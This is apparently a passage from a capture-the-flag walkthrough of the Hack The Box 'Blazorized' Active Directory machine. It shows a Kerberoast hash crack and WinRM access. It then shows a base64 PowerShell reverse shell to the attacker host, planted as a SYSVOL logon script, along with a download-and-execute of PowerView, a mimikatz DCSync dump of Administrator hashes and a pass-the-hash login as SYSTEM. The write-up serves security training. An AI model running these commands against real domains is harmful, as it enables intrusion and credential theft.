                       664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB
                       8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E86
                       8879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E8
                       3CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95F
                       CEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52F
                       F1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48D
                       A898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947D
                       CA6

I pass this hash to a file:

❯ cat RSA_4810_hash

$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6FE3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E3088830318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D68B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF1429BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543FE70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E868879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E83CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95FCEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52FF1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48DA898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947DCA6

And attempt to crack it through a Brute Force Password Cracking with Hashcat:

❯ hashcat -m 13100 -O -a 0 RSA_4810_hash /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting
<SNIP>

$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$c500617d<SNIP>80b947dca6:(Ni7856Do9854Ki05Ng0005 #)

<SNIP>

We have credentials: RSA_4810:(Ni7856Do9854Ki05Ng0005 #).

We check if they work with NetExec with WinRM:

❯ netexec winrm 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'

WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\RSA_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)

and they do.

So we connect as RSA_4810 user via WinRM with evil-winrm. Once logged in we check the permissions of this new user:

*Evil-WinRM* PS C:\Users\Public\Downloads> net user RSA_4810

User name                    RSA_4810
Full Name                    RSA_4810
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:55:59 PM
Password expires             Never
Password changeable          2/26/2024 12:55:59 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/2/2024 12:44:30 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Remote_Support_Admini
The command completed successfully.

where the group Remote_Support_Admini is new.

We decide to search for files and eventually reach to C:\Windows\sysvol\sysvol\blazorized.htb\scripts:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> dir


    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:38 PM                11DBDAEB100D
d-----        5/29/2024   2:33 PM                A2BFDCF13BB2
d-----        6/20/2024   9:06 AM                A32FF3AEAA23
d-----        5/29/2024   2:36 PM                CADFDDCE0BAD
d-----        5/29/2024   2:37 PM                CAFE30DAABCB

where I can see some directories.

Note that this user can write over the directory A32FF3AEAA23:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> cmd.exe /c icacls A32FF3AEAA23

A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
             BLAZORIZED\Administrator:(OI)(CI)(F)
             BUILTIN\Administrators:(I)(F)
             CREATOR OWNER:(I)(OI)(CI)(IO)(F)
             NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
             BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
             BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

In this directory we have more directories with random names and an empty .bat file:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir


    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:34 PM                113EB3B0B2D3
d-----        5/29/2024   2:34 PM                21FDFAAFC1D0
d-----        5/29/2024   2:33 PM                23010E0A1A33
d-----        5/29/2024   2:34 PM                2BECF3DC0B3D
d-----        5/29/2024   2:33 PM                2F3FCC01E0A3
d-----        5/29/2024   2:34 PM                3DACA30B03D1
d-----        5/29/2024   2:34 PM                3EAF2A3E0CED
d-----        5/29/2024   2:34 PM                A3F211DCB11D
d-----        5/29/2024   2:33 PM                AADE1BA2A3E3
d-----        5/29/2024   2:34 PM                AC2210DC311B
d-----        5/29/2024   2:34 PM                B2ACCF2BABFB
d-----        5/29/2024   2:33 PM                BE11A3E0EA13
d-----        5/29/2024   2:33 PM                BFDDF0E1B33E
d-----        5/29/2024   2:34 PM                C20F1322FB3C
d-----        5/29/2024   2:34 PM                CD102CDEFD0E
d-----        5/29/2024   2:34 PM                CED022B22EBA
d-----        5/29/2024   2:33 PM                D0ECECBC1CCF
d-----        5/29/2024   2:33 PM                F1D30FCB0100
d-----        5/29/2024   2:33 PM                FD33C0CE11AC
-a----        5/29/2024   2:33 PM              0 02FCE0D1303F.bat


*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> type 02FCE0D1303F.bat

but nothing useful yet. However, since this user can write here and it contains scripts, there must be some service running it.

We upload again PowerView.ps1 in this new session and use Get-NetUser command:

*Evil-WinRM* PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')

*Evil-WinRM* PS C:\Users\Public\Downloads> Get-NetUser


logoncount                    : 437
badpasswordtime               : 7/1/2024 8:00:42 AM
description                   : Built-in account for administering the computer/domain
distinguishedname             : CN=Administrator,CN=Users,DC=blazorized,DC=htb
objectclass                   : {top, person, organizationalPerson, user}
lastlogontimestamp            : 7/12/2024 5:37:37 AM
name                          : Administrator
objectsid                     : S-1-5-21-2039403211-964143010-2924010611-500
samaccountname                : Administrator
logonhours                    : {255, 255, 255, 255...}
<SNIP>
logoncount            : 3389
badpasswordtime       : 6/19/2024 9:58:18 AM
distinguishedname     : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
objectclass           : {top, person, organizationalPerson, user}
displayname           : SSA_6010
lastlogontimestamp    : 7/12/2024 5:37:37 AM
userprincipalname     : SSA_6010@blazorized.htb
name                  : SSA_6010
objectsid             : S-1-5-21-2039403211-964143010-2924010611-1124
samaccountname        : SSA_6010
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : NEVER

where we note that the user SSA_6010 has an unusual amount of logins. In an Active Directory environment, the logoncount is attributed to the total number of succesful logons the user has performed. And more than 3000 is a lot and unusual.

We will create a malicious bat file using a reverse shell with Powershell from https://www.revshells.com/. More specifically, we will use PowerShell #3 (Base64) payload with our attacker IP address and listening port 443. We run then:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgCkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' | Out-File -FilePath C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat -Encoding ASCII

and the file is there:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir

    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:34 PM                113EB3B0B2D3
<SNIP>
d-----        5/29/2024   2:33 PM                FD33C0CE11AC
-a----        5/29/2024   2:33 PM              0 02FCE0D1303F.bat
-a----        7/22/2024   1:21 AM           1344 exploit.bat

Then, we can try to modify the properties of SSA_6010 AD user running Set-ADUser (and after starting another netcat listener on port 443). After some minutes we get a shell as ssa_6010 user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 61491
whoami

blazorized\ssa_6010
PS C:\Windows\system32>

This new user is part of the Super_Support_Administrators group:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-DomainUser -Identity SSA_6010  |select samaccountname,objectsid,memberof,useraccountcontrol |fl


samaccountname     : SSA_6010
objectsid          : S-1-5-21-2039403211-964143010-2924010611-1124
memberof           : {CN=Super_Support_Administrators,CN=Users,DC=blazorized,DC=htb, CN=Remote Management Users,CN=Builtin,DC=blazorized,DC=htb}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

We also check if this user can perform a DCSync attack:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> $sid = 'S-1-5-21-2039403211-964143010-2924010611-1124'

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-ObjectAcl "DC=blazorized,DC=htb" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')}


AceQualifier           : AccessAllowed
ObjectDN               : DC=blazorized,DC=htb
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2039403211-964143010-2924010611-498
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=blazorized,DC=htb
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-All
ObjectSID              : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2039403211-964143010-2924010611-516
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

<SNIP>

and it can.

The only problem is we do not have a password for this user, so we cannot use a tool like secretsdump.py from Impacket for this. Instead, we can use mimikatz inside the target machine. Pass mimikatz binary (that can be downloaded from its Github repository) to the target machine and, then (after passing from Powershell to CMD internally), attempt to perform a DCSync attack against the Administrator user:

C:\Users\Public\Downloads>.\mimikatz.exe

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator

[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba
<SNIP>

We check if this NTLM hash works to log in, for example, via WinRM with NetExec:

❯ netexec winrm 10.10.11.22 -u 'Administrator' -H 'f55ed1465179ba374ec1cad05b34a5f3'

WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\Administrator:f55ed1465179ba374ec1cad05b34a5f3 (Pwn3d!)

And it works. Just for fun, I will log in with psexec.py via SMB performing a Pass The Hash attack:

❯ python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes ad37753b9f78b6b98ec3bb65e5995c73:f55ed1465179ba374ec1cad05b34a5f3 Administrator@blazorized.htb cmd.exe

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on blazorized.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XphekYjf.exe
[*] Opening SVCManager on blazorized.htb.....
[*] Creating service DUqR on blazorized.htb.....
[*] Starting service DUqR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5933]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

and that’s it. We can find the root flag at Administrator Desktop.

~Happy Hacking